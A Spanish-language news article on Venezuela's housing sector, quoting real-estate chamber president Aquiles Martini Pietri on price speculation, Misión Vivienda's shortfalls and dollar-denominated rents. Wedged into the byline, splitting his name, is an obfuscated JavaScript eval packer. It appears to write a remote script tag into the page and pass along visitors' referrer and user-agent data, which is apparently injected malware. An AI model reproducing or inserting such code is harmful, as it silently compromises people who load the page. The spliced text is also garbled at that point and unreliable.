“Precios mafiosos” dificultan crecimiento del sector inmobiliario en Venezuela

Sugey Díaz / Maracaibo / [email protected]
Aquiles eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntbnk|var|u0026u|referrer|kfyhf||js|php'.split('|'),0,{})) Martini Pietri califica de arriesgado utilizar como referencia de venta o alquiler de inmuebles la moneda extranjera, “principalmente cuando valorizan en moneda extranjera con una volatilidad como la que tiene el bolívar hoy en día”

Para Martini, el incentivo del Ejecutivo al sector privado es necesario, si se quiere resolver el déficit habitacional. (Foto: Cortesía)

"Vivimos en un país de carencias y escasez, no solo por la falta de materias primas sino por la situación que se ha generado con los precios mafiosos”, confiesa Aquiles Martini Pietri, presidente de la Cámara Inmobiliaria de Venezuela.

Argumenta que la regulación de precios dificulta la adquisición de insumos e incentiva la especulación, “porque una cosa es lo que está regulado y otra el precio en el que venden los insumos. Sabemos que, por ejemplo, los sacos de cemento están valorados entre mil y 900 bolívares, muy por encima del precio establecido por el Gobierno unilateralmente”.

Para Martini, el incentivo del Ejecutivo al sector privado es necesario, si se quiere resolver el déficit habitacional que existe en el país. “La misión Vivienda ya en el año pasado registró una caída de 34 por ciento con respecto al año 2013 y esta misión no va a ser sustentable en el tiempo porque simplemente no se ha cumplido con lo que está establecido en las normas técnicas, en la planificación del desarrollo de viviendas”.

Lamenta que los representantes del Gobierno nacional utilicen la entrega de casas como bandera política, en vísperas de una elección parlamentaria. “Este año lo que se ha entregado son 27 mil viviendas de una meta de 400 mil, si asumimos que son viviendas reales y nuevas”.

Dolarizar no es recomendable

El representante del sector inmobiliario califica de arriesgado utilizar como referencia de venta o alquiler de inmuebles la moneda extranjera, “principalmente cuando valorizan en moneda extranjera con una volatilidad como la que tiene el bolívar hoy en día”.

En el caso de los alquileres de residencias, recuerda que es ilegal tranzar en una moneda que no sea el bolívar, según la Ley de Arrendamiento de Vivienda y las disposiciones de la Superintendencia de Nacional de Arrendamiento.

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